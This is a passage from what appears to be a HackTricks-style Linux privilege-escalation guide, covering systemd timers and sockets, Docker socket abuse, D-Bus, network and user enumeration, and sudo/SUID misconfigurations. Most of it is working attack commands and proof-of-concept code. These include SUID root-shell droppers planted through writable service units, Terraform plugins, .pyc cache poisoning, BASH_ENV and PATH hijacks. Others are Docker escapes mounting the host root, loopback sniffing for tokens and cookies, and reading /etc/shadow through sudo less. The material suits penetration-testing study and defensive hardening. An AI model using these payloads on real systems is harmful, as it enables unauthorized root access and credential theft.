    718 **Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously.
    719 
    720 You can enumerate all the timers with:
    721 
    722 ```bash
    723 systemctl list-timers --all
    724 ```
    725 
    726 ### Writable timers
    727 
    728 If you can modify a timer you can make it execute some existents of systemd.unit (like a `.service` or a `.target`)
    729 
    730 ```bash
    731 Unit=backdoor.service
    732 ```
    733 
    734 In the documentation you can read what the Unit is:
    735 
    736 > The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.
    737 
    738 Therefore, to abuse this permission you would need to:
    739 
    740 - Find some systemd unit (like a `.service`) that is **executing a writable binary**
    741 - Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable)
    742 
    743 **Learn more about timers with `man systemd.timer`.**
    744 
    745 ### **Enabling Timer**
    746 
    747 To enable a timer you need root privileges and to execute:
    748 
    749 ```bash
    750 sudo systemctl enable backu2.timer
    751 Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
    752 ```
    753 
    754 Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
    755 
    756 ## Sockets
    757 
    758 Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files.<sup>[[14]](#references)</sup>
    759 
    760 Sockets can be configured using `.socket` files.
    761 
    762 **Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured:
    763 
    764 - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.)
    765 - `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`.
    766 - `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
    767 - `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively.
    768 - `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.
    769 
    770 ### Writable .socket files
    771 
    772 If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\
    773 _Note that the system must be using that socket file configuration or the backdoor won't be executed_
    774 
    775 ### Socket activation + writable unit path (create missing service)
    776 
    777 Another high-impact misconfiguration is:
    778 
    779 - a socket unit with `Accept=no` and `Service=<name>.service`
    780 - the referenced service unit is missing
    781 - an attacker can write into `/etc/systemd/system` (or another unit search path)
    782 
    783 In that case, the attacker can create `<name>.service`, then trigger traffic to the socket so systemd loads and executes the new service as root.
    784 
    785 Quick flow:
    786 
    787 ```bash
    788 systemctl cat vuln.socket
    789 # [Socket]
    790 # Accept=no
    791 # Service=vuln.service
    792 ```
    793 
    794 ```bash
    795 cat >/etc/systemd/system/vuln.service <<'EOF'
    796 [Service]
    797 Type=oneshot
    798 ExecStart=/bin/bash -c 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash'
    799 EOF
    800 nc -q0 127.0.0.1 9999
    801 /var/tmp/rootbash -p
    802 ```
    803 
    804 ### Writable sockets
    805 
    806 If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability.
    807 
    808 ### Enumerate Unix Sockets
    809 
    810 ```bash
    811 netstat -a -p --unix
    812 ```
    813 
    814 ### Raw connection
    815 
    816 ```bash
    817 #apt-get install netcat-openbsd
    818 nc -U /tmp/socket  #Connect to UNIX-domain stream socket
    819 nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
    820 
    821 #apt-get install socat
    822 socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
    823 ```
    824 
    825 **Exploitation example:**
    826 
    827 
    828 [Socket Command Injection](/hacktricks/linux-hardening/network-information/socket-command-injection)
    829 
    830 ### HTTP sockets
    831 
    832 Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). You can check this with:
    833 
    834 ```bash
    835 curl --max-time 2 --unix-socket /path/to/socket/file http://localhost/
    836 ```
    837 
    838 If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**.
    839 
    840 ### Writable Docker Socket
    841 
    842 The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available.
    843 
    844 #### **Privilege Escalation with Docker CLI**
    845 
    846 If you have write access to the Docker socket, you can escalate privileges using the following commands:<sup>[[15]](#references)</sup>
    847 
    848 ```bash
    849 docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
    850 docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
    851 ```
    852 
    853 These commands allow you to run a container with root-level access to the host's file system.
    854 
    855 #### **Using Docker API Directly**
    856 
    857 In cases where the Docker CLI isn't available, the Docker socket can still be abused using raw HTTP over the Unix socket. The most reliable flow is:
    858 
    859 - create a long-lived helper container with the host root bind-mounted
    860 - start it
    861 - create an `exec` instance inside that helper
    862 - start the `exec` instance and read the output back through the API
    863 
    864 **List Docker images**
    865 
    866 ```bash
    867 curl --unix-socket /var/run/docker.sock http://localhost/images/json
    868 ```
    869 
    870 **Create and start a helper container**
    871 
    872 ```bash
    873 HELPER=helper
    874 
    875 curl --unix-socket /var/run/docker.sock \
    876   -H "Content-Type: application/json" \
    877   -d '{"Image":"alpine:3.20","Cmd":["sleep","99999"],"HostConfig":{"Binds":["/:/host"]}}' \
    878   "http://localhost/v1.47/containers/create?name=${HELPER}"
    879 
    880 curl --unix-socket /var/run/docker.sock \
    881   -X POST "http://localhost/v1.47/containers/${HELPER}/start"
    882 ```
    883 
    884 **Create an exec instance**
    885 
    886 ```bash
    887 EXEC_ID=$(
    888   curl -s --unix-socket /var/run/docker.sock \
    889     -H "Content-Type: application/json" \
    890     -d '{"AttachStdout":true,"AttachStderr":true,"Tty":true,"Cmd":["sh","-lc","find /host/root -maxdepth 1 -type f"]}' \
    891     "http://localhost/v1.47/containers/${HELPER}/exec" \
    892   | tr -d '\n' \
    893   | sed -n 's/.*"Id":"\([^"]*\)".*/\1/p'
    894 )
    895 ```
    896 
    897 **Start the exec instance and read the output**
    898 
    899 ```bash
    900 curl --unix-socket /var/run/docker.sock \
    901   -H "Content-Type: application/json" \
    902   -d '{"Detach":false,"Tty":true}' \
    903   "http://localhost/v1.47/exec/${EXEC_ID}/start"
    904 ```
    905 
    906 This pattern is usually more robust than trying to drive `attach` manually with `socat` or `nc -U`. Once you can create a helper with `/:/host`, you can use additional `exec` instances to read files such as `/host/root/...`, add SSH keys under `/host/root/.ssh`, or modify host startup files.
    907 
    908 ### Others
    909 
    910 Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](../../user-information/interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](/hacktricks/network-services-pentesting/2375-pentesting-docker#compromising).
    911 
    912 Check **more ways to break out from containers or abuse container runtimes to escalate privileges** in:
    913 
    914 
    915 [Container Security](/hacktricks/linux-hardening/containers-namespaces/container-security/overview)
    916 
    917 ## Containerd (ctr) privilege escalation
    918 
    919 If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**:
    920 
    921 
    922 [Containerd Ctr Privilege Escalation](/hacktricks/linux-hardening/containers-namespaces/containerd-ctr-privilege-escalation)
    923 
    924 ## **RunC** privilege escalation
    925 
    926 If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**:
    927 
    928 
    929 [Runc Privilege Escalation](/hacktricks/linux-hardening/containers-namespaces/runc-privilege-escalation)
    930 
    931 ## **D-Bus**
    932 
    933 D-Bus is a sophisticated **inter-Process Communication (IPC) system** that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication.<sup>[[16]](#references)</sup>
    934 
    935 The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex.
    936 
    937 D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions.
    938 
    939 An example of such a policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` is provided, detailing permissions for the root user to own, send to, and receive messages from `fi.w1.wpa_supplicant1`.
    940 
    941 Policies without a specified user or group apply universally, while "default" context policies apply to all not covered by other specific policies.
    942 
    943 ```xml
    944 <policy user="root">
    945     <allow own="fi.w1.wpa_supplicant1"/>
    946     <allow send_destination="fi.w1.wpa_supplicant1"/>
    947     <allow send_interface="fi.w1.wpa_supplicant1"/>
    948     <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
    949 </policy>
    950 ```
    951 
    952 **Learn how to enumerate and exploit a D-Bus communication here:**
    953 
    954 
    955 [D Bus Enumeration And Command Injection Privilege Escalation](/hacktricks/linux-hardening/processes-crontab-systemd-dbus/d-bus-enumeration-and-command-injection-privilege-escalation)
    956 
    957 ## **Network**
    958 
    959 It's always interesting to enumerate the network and figure out the position of the machine.
    960 
    961 ### Generic enumeration
    962 
    963 ```bash
    964 #Hostname, hosts and DNS
    965 cat /etc/hostname /etc/hosts /etc/resolv.conf
    966 dnsdomainname
    967 
    968 #NSS resolution order (hosts file vs DNS)
    969 grep -E '^(hosts|networks):' /etc/nsswitch.conf
    970 getent hosts localhost
    971 
    972 #Content of /etc/inetd.conf & /etc/xinetd.conf
    973 cat /etc/inetd.conf /etc/xinetd.conf
    974 
    975 #Interfaces
    976 cat /etc/networks
    977 (ifconfig || ip a)
    978 (ip -br addr || ip addr show)
    979 
    980 #Routes and policy routing (pivot paths)
    981 ip route
    982 ip -6 route
    983 ip rule
    984 ip route get 1.1.1.1
    985 
    986 #L2 neighbours
    987 (arp -e || arp -a || ip neigh)
    988 
    989 #Neighbours
    990 (arp -e || arp -a)
    991 (route || ip n)
    992 
    993 #L2 topology (VLANs/bridges/bonds)
    994 ip -d link
    995 bridge link 2>/dev/null
    996 
    997 #Network namespaces (hidden interfaces/routes in containers)
    998 ip netns list 2>/dev/null
    999 ls /var/run/netns/ 2>/dev/null
   1000 nsenter --net=/proc/1/ns/net ip a 2>/dev/null
   1001 
   1002 #Iptables rules
   1003 (timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
   1004 
   1005 #nftables and firewall wrappers (modern hosts)
   1006 sudo nft list ruleset 2>/dev/null
   1007 sudo nft list ruleset -a 2>/dev/null
   1008 sudo ufw status verbose 2>/dev/null
   1009 sudo firewall-cmd --state 2>/dev/null
   1010 sudo firewall-cmd --list-all 2>/dev/null
   1011 
   1012 #Forwarding / asymmetric routing / conntrack state
   1013 sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding net.ipv4.conf.all.rp_filter 2>/dev/null
   1014 sudo conntrack -L 2>/dev/null | head -n 20
   1015 
   1016 #Files used by network services
   1017 lsof -i
   1018 ```
   1019 
   1020 ### Outbound filtering quick triage
   1021 
   1022 If the host can run commands but callbacks fail, separate DNS, transport, proxy, and route filtering quickly:
   1023 
   1024 ```bash
   1025 # DNS over UDP and TCP (TCP fallback often survives UDP/53 filters)
   1026 dig +time=2 +tries=1 @1.1.1.1 google.com A
   1027 dig +tcp +time=2 +tries=1 @1.1.1.1 google.com A
   1028 
   1029 # Common outbound ports
   1030 for p in 22 25 53 80 443 587 8080 8443; do nc -vz -w3 example.org "$p"; done
   1031 
   1032 # Route/path clue for 443 filtering
   1033 sudo traceroute -T -p 443 example.org 2>/dev/null || true
   1034 
   1035 # Proxy-enforced environments and remote-DNS SOCKS testing
   1036 env | grep -iE '^(http|https|ftp|all)_proxy|no_proxy'
   1037 curl --socks5-hostname <ip>:1080 https://ifconfig.me
   1038 ```
   1039 
   1040 ### Open ports
   1041 
   1042 Always check network services running on the machine that you weren't able to interact with before accessing it:
   1043 
   1044 ```bash
   1045 (netstat -punta || ss --ntpu)
   1046 (netstat -punta || ss --ntpu) | grep "127.0"
   1047 ss -tulpn
   1048 #Quick view of local bind addresses (great for hidden/isolated interfaces)
   1049 ss -tulpn | awk '{print $5}' | sort -u
   1050 ```
   1051 
   1052 Classify listeners by bind target:
   1053 
   1054 - `0.0.0.0` / `[::]`: exposed on all local interfaces.
   1055 - `127.0.0.1` / `::1`: local-only (good tunnel/forward candidates).
   1056 - Specific internal IPs (e.g. `10.x`, `172.16/12`, `192.168.x`, `fe80::`): usually reachable only from internal segments.
   1057 
   1058 ### Local-only service triage workflow
   1059 
   1060 When you compromise a host, services bound to `127.0.0.1` often become reachable for the first time from your shell. A quick local workflow is:
   1061 
   1062 ```bash
   1063 # 1) Find local listeners
   1064 ss -tulnp
   1065 
   1066 # 2) Discover open localhost TCP ports
   1067 nmap -Pn --open -p- 127.0.0.1
   1068 
   1069 # 3) Fingerprint only discovered ports
   1070 nmap -Pn -sV -p <ports> 127.0.0.1
   1071 
   1072 # 4) Manually interact / banner grab
   1073 nc 127.0.0.1 <port>
   1074 printf 'HELP\r\n' | nc 127.0.0.1 <port>
   1075 ```
   1076 
   1077 ### LinPEAS as a network scanner (network-only mode)
   1078 
   1079 Besides local PE checks, linPEAS can run as a focused network scanner. It uses available binaries in `$PATH` (typically `fping`, `ping`, `nc`, `ncat`) and does not install tooling.
   1080 
   1081 ```bash
   1082 # Auto-discover subnets + hosts + quick ports
   1083 ./linpeas.sh -t
   1084 
   1085 # Host discovery in CIDR
   1086 ./linpeas.sh -d 10.10.10.0/24
   1087 
   1088 # Host discovery + custom ports
   1089 ./linpeas.sh -d 10.10.10.0/24 -p 22,80,443
   1090 
   1091 # Scan one IP (default/common ports)
   1092 ./linpeas.sh -i 10.10.10.20
   1093 
   1094 # Scan one IP with selected ports
   1095 ./linpeas.sh -i 10.10.10.20 -p 21,22,80,443
   1096 ```
   1097 
   1098 If you pass `-d`, `-p`, or `-i` without `-t`, linPEAS behaves as a pure network scanner (skipping the rest of privilege-escalation checks).
   1099 
   1100 ### Sniffing
   1101 
   1102 Check if you can sniff traffic. If you can, you could be able to grab some credentials.
   1103 
   1104 ```text
   1105 timeout 1 tcpdump
   1106 ```
   1107 
   1108 Quick practical checks:
   1109 
   1110 ```bash
   1111 #Can I capture without full sudo?
   1112 which dumpcap && getcap "$(which dumpcap)"
   1113 
   1114 #Find capture interfaces
   1115 tcpdump -D
   1116 ip -br addr
   1117 ```
   1118 
   1119 Loopback (`lo`) is especially valuable in post-exploitation because many internal-only services expose tokens/cookies/credentials there:
   1120 
   1121 ```bash
   1122 sudo tcpdump -i lo -s 0 -A -n 'tcp port 80 or 8000 or 8080' \
   1123   | egrep -i 'authorization:|cookie:|set-cookie:|x-api-key|bearer|token|csrf'
   1124 ```
   1125 
   1126 Capture now, parse later:
   1127 
   1128 ```bash
   1129 sudo tcpdump -i any -s 0 -n -w /tmp/capture.pcap
   1130 tshark -r /tmp/capture.pcap -Y http.request \
   1131   -T fields -e frame.time -e ip.src -e http.host -e http.request.uri
   1132 ```
   1133 
   1134 ## Users
   1135 
   1136 ### Generic Enumeration
   1137 
   1138 Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:**
   1139 
   1140 ```bash
   1141 #Info about me
   1142 id || (whoami && groups) 2>/dev/null
   1143 #List all users
   1144 cat /etc/passwd | cut -d: -f1
   1145 #List users with console
   1146 cat /etc/passwd | grep "sh$"
   1147 #List superusers
   1148 awk -F: '($3 == "0") {print}' /etc/passwd
   1149 #Currently logged users
   1150 who
   1151 w
   1152 #Only usernames
   1153 users
   1154 #Login history
   1155 last | tail
   1156 #Last log of each user
   1157 lastlog2 2>/dev/null || lastlog
   1158 
   1159 #List all users and their groups
   1160 for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
   1161 #Current user PGP keys
   1162 gpg --list-keys 2>/dev/null
   1163 ```
   1164 
   1165 ### Big UID
   1166 
   1167 Some Linux versions were affected by a bug that allows users with **UID > INT_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).<sup>[[33]](#references)[[34]](#references)[[35]](#references)</sup>\
   1168 **Exploit it** using: **`systemd-run -t /bin/bash`**
   1169 
   1170 ### Groups
   1171 
   1172 Check if you are a **member of some group** that could grant you root privileges:
   1173 
   1174 
   1175 [Interesting Groups Linux Pe](/hacktricks/linux-hardening/user-information/interesting-groups-linux-pe/overview)
   1176 
   1177 ### Clipboard
   1178 
   1179 Check if anything interesting is located inside the clipboard (if possible)
   1180 
   1181 ```bash
   1182 if [ `which xclip 2>/dev/null` ]; then
   1183     echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
   1184     echo "Highlighted text: "`xclip -o 2>/dev/null`
   1185   elif [ `which xsel 2>/dev/null` ]; then
   1186     echo "Clipboard: "`xsel -ob 2>/dev/null`
   1187     echo "Highlighted text: "`xsel -o 2>/dev/null`
   1188   else echo "Not found xsel and xclip"
   1189   fi
   1190 ```
   1191 
   1192 ### Password Policy
   1193 
   1194 ```bash
   1195 grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
   1196 ```
   1197 
   1198 ### Known passwords
   1199 
   1200 If you **know any password** of the environment **try to login as each user** using the password.
   1201 
   1202 ### Su Brute
   1203 
   1204 If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
   1205 [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users.
   1206 
   1207 ## Writable PATH abuses
   1208 
   1209 ### $PATH
   1210 
   1211 If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH.
   1212 
   1213 ### SUDO and SUID
   1214 
   1215 You could be allowed to execute some command using sudo or they could have the suid bit. Check it using:
   1216 
   1217 ```bash
   1218 sudo -l #Check commands you can execute with sudo
   1219 find / -perm -4000 2>/dev/null #Find all SUID binaries
   1220 ```
   1221 
   1222 Some **unexpected commands allow you to read and/or write files or even execute a command**.<sup>[[8]](#references)</sup> For example:
   1223 
   1224 ```bash
   1225 sudo awk 'BEGIN {system("/bin/sh")}'
   1226 sudo find /etc -exec sh -i \;
   1227 sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
   1228 sudo tar c a.tar -I ./runme.sh a
   1229 ftp>!/bin/sh
   1230 less>! <shell_comand>
   1231 ```
   1232 
   1233 ### NOPASSWD
   1234 
   1235 Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password.
   1236 
   1237 ```text
   1238 $ sudo -l
   1239 User demo may run the following commands on crashlab:
   1240     (root) NOPASSWD: /usr/bin/vim
   1241 ```
   1242 
   1243 In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`.
   1244 
   1245 ```text
   1246 sudo vim -c '!sh'
   1247 ```
   1248 
   1249 ### SETENV
   1250 
   1251 This directive allows the user to **set an environment variable** while executing something:
   1252 
   1253 ```bash
   1254 $ sudo -l
   1255 User waldo may run the following commands on admirer:
   1256     (ALL) SETENV: /opt/scripts/admin_tasks.sh
   1257 ```
   1258 
   1259 This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPATH hijacking** to load an arbitrary python library while executing the script as root:
   1260 
   1261 ```bash
   1262 sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
   1263 ```
   1264 
   1265 ### Writable `__pycache__` / `.pyc` poisoning in sudo-allowed Python imports
   1266 
   1267 If a **sudo-allowed Python script** imports a module whose package directory contains a **writable `__pycache__`**, you may be able to replace the cached `.pyc` and get code execution as the privileged user on the next import.<sup>[[30]](#references)</sup>
   1268 
   1269 - Why it works:
   1270   - CPython stores bytecode caches in `__pycache__/module.cpython-<ver>.pyc`.<sup>[[31]](#references)</sup>
   1271   - The interpreter validates the **header** (magic + timestamp/hash metadata tied to the source), then executes the marshaled code object stored after that header.
   1272   - If you can **delete and recreate** the cached file because the directory is writable, a root-owned but non-writable `.pyc` can still be replaced.
   1273 - Typical path:
   1274   - `sudo -l` shows a Python script or wrapper you can run as root.
   1275   - That script imports a local module from `/opt/app/`, `/usr/local/lib/...`, etc.
   1276   - The imported module's `__pycache__` directory is writable by your user or by everyone.
   1277 
   1278 Quick enumeration:
   1279 
   1280 ```bash
   1281 sudo -l
   1282 find / -type d -name __pycache__ -writable 2>/dev/null
   1283 find / -type f -path '*/__pycache__/*.pyc' -ls 2>/dev/null
   1284 ```
   1285 
   1286 If you can inspect the privileged script, identify imported modules and their cache path:<sup>[[32]](#references)</sup>
   1287 
   1288 ```bash
   1289 grep -R "^import \\|^from " /opt/target/ 2>/dev/null
   1290 python3 - <<'PY'
   1291 import importlib.util
   1292 spec = importlib.util.find_spec("target_module")
   1293 print(spec.origin)
   1294 print(spec.cached)
   1295 PY
   1296 ```
   1297 
   1298 Abuse workflow:
   1299 
   1300 1. Run the sudo-allowed script once so Python creates the legit cache file if it does not already exist.
   1301 2. Read the first 16 bytes from the legit `.pyc` and reuse them in the poisoned file.
   1302 3. Compile a payload code object, `marshal.dumps(...)` it, delete the original cache file, and recreate it with the original header plus your malicious bytecode.
   1303 4. Re-run the sudo-allowed script so the import executes your payload as root.
   1304 
   1305 Important notes:
   1306 
   1307 - Reusing the original header is key because Python checks the cache metadata against the source file, not whether the bytecode body really matches the source.
   1308 - This is especially useful when the source file is root-owned and not writable, but the containing `__pycache__` directory is.
   1309 - The attack fails if the privileged process uses `PYTHONDONTWRITEBYTECODE=1`, imports from a location with safe permissions, or removes write access to every directory in the import path.
   1310 
   1311 Minimal proof-of-concept shape:
   1312 
   1313 ```python
   1314 import marshal, pathlib, subprocess, tempfile
   1315 
   1316 pyc = pathlib.Path("/opt/app/__pycache__/target.cpython-312.pyc")
   1317 header = pyc.read_bytes()[:16]
   1318 payload = "import os; os.system('cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash')"
   1319 
   1320 with tempfile.TemporaryDirectory() as d:
   1321     src = pathlib.Path(d) / "x.py"
   1322     src.write_text(payload)
   1323     code = compile(src.read_text(), str(src), "exec")
   1324     pyc.unlink()
   1325     pyc.write_bytes(header + marshal.dumps(code))
   1326 
   1327 subprocess.run(["sudo", "/opt/app/runner.py"])
   1328 ```
   1329 
   1330 Hardening:
   1331 
   1332 - Ensure no directory in the privileged Python import path is writable by low-privileged users, including `__pycache__`.
   1333 - For privileged runs, consider `PYTHONDONTWRITEBYTECODE=1` and periodic checks for unexpected writable `__pycache__` directories.
   1334 - Treat writable local Python modules and writable cache directories the same way you would treat writable shell scripts or shared libraries executed by root.
   1335 
   1336 ### BASH_ENV preserved via sudo env_keep → root shell
   1337 
   1338 If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.<sup>[[24]](#references)</sup>
   1339 
   1340 - Why it works: For non-interactive shells, Bash evaluates `$BASH_ENV` and sources that file before running the target script. Many sudo rules allow running a script or a shell wrapper. If `BASH_ENV` is preserved by sudo, your file is sourced with root privileges.<sup>[[23]](#references)</sup>
   1341 
   1342 - Requirements:
   1343   - A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script).
   1344   - `BASH_ENV` present in `env_keep` (check with `sudo -l`).
   1345 
   1346 - PoC:
   1347 
   1348 ```bash
   1349 cat > /dev/shm/shell.sh <<'EOF'
   1350 #!/bin/bash
   1351 /bin/bash
   1352 EOF
   1353 chmod +x /dev/shm/shell.sh
   1354 BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
   1355 # You should now have a root shell
   1356 ```
   1357 
   1358 - Hardening:
   1359   - Remove `BASH_ENV` (and `ENV`) from `env_keep`, prefer `env_reset`.
   1360   - Avoid shell wrappers for sudo-allowed commands; use minimal binaries.
   1361   - Consider sudo I/O logging and alerting when preserved env vars are used.
   1362 
   1363 ### Terraform via sudo with preserved HOME (!env_reset)
   1364 
   1365 If sudo leaves the environment intact (`!env_reset`) while allowing `terraform apply`, `$HOME` stays as the calling user. Terraform therefore loads **$HOME/.terraformrc** as root and honors `provider_installation.dev_overrides`.<sup>[[25]](#references)</sup>
   1366 
   1367 - Point the required provider at a writable directory and drop a malicious plugin named after the provider (e.g., `terraform-provider-examples`):
   1368 
   1369 ```text
   1370 # ~/.terraformrc
   1371 provider_installation {
   1372   dev_overrides {
   1373     "previous.htb/terraform/examples" = "/dev/shm"
   1374   }
   1375   direct {}
   1376 }
   1377 ```
   1378 
   1379 ```bash
   1380 cat >/dev/shm/terraform-provider-examples <<'EOF'
   1381 #!/bin/bash
   1382 cp /bin/bash /var/tmp/rootsh
   1383 chown root:root /var/tmp/rootsh
   1384 chmod 6777 /var/tmp/rootsh
   1385 EOF
   1386 chmod +x /dev/shm/terraform-provider-examples
   1387 sudo /usr/bin/terraform -chdir=/opt/examples apply
   1388 ```
   1389 
   1390 Terraform will fail the Go plugin handshake but executes the payload as root before dying, leaving a SUID shell behind.
   1391 
   1392 ### TF_VAR overrides + symlink validation bypass
   1393 
   1394 Terraform variables can be provided via `TF_VAR_<name>` environment variables, which survive when sudo preserves the environment. Weak validations such as `strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")` can be bypassed with symlinks:<sup>[[25]](#references)</sup>
   1395 
   1396 ```bash
   1397 mkdir -p /dev/shm/root/examples
   1398 ln -s /root/root.txt /dev/shm/root/examples/flag
   1399 TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
   1400 cat /home/$USER/docker/previous/public/examples/flag
   1401 ```
   1402 
   1403 Terraform resolves the symlink and copies the real `/root/root.txt` into an attacker-readable destination. The same approach can be used to **write** into privileged paths by pre-creating destination symlinks (e.g., pointing the provider’s destination path inside `/etc/cron.d/`).
   1404 
   1405 ### requiretty / !requiretty
   1406 
   1407 On some older distributions, sudo can be configured with `requiretty`, which forces sudo to run only from an interactive TTY. If `!requiretty` is set (or the option is absent), sudo can be executed from non-interactive contexts such as reverse shells, cron jobs, or scripts.
   1408 
   1409 ```bash
   1410 Defaults !requiretty
   1411 ```
   1412 
   1413 This is not a direct vulnerability by itself, but it expands the situations where sudo rules can be abused without needing a full PTY.
   1414 
   1415 ### Sudo env_keep+=PATH / insecure secure_path → PATH hijack
   1416 
   1417 If `sudo -l` shows `env_keep+=PATH` or a `secure_path` containing attacker-writable entries (e.g., `/home/<user>/bin`), any relative command inside the sudo-allowed target can be shadowed.<sup>[[3]](#references)</sup>
   1418 
   1419 - Requirements: a sudo rule (often `NOPASSWD`) running a script/binary that calls commands without absolute paths (`free`, `df`, `ps`, etc.) and a writable PATH entry that is searched first.
   1420 
   1421 ```bash
   1422 cat > ~/bin/free <<'EOF'
   1423 #!/bin/bash
   1424 chmod +s /bin/bash
   1425 EOF
   1426 chmod +x ~/bin/free
   1427 sudo /usr/local/bin/system_status.sh   # calls free → runs our trojan
   1428 bash -p                                # root shell via SUID bit
   1429 ```
   1430 
   1431 ### Sudo execution bypassing paths
   1432 **Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_
   1433 
   1434 ```bash
   1435 sudo less /var/logs/anything
   1436 less>:e /etc/shadow #Jump to read other files using privileged less
   1437 ```
   1438 
   1439 ```bash
   1440 ln /etc/shadow /var/log/new
   1441 sudo less /var/log/new #Use symlinks to read any file
   1442 ```
   1443 
   1444 If a **wildcard** is used (\*), it is even easier:
   1445 
   1446 ```bash
   1447 sudo less /var/log/../../etc/shadow #Read shadow
   1448 sudo less /var/log/something /etc/shadow #Red 2 files
   1449 ```
   1450 
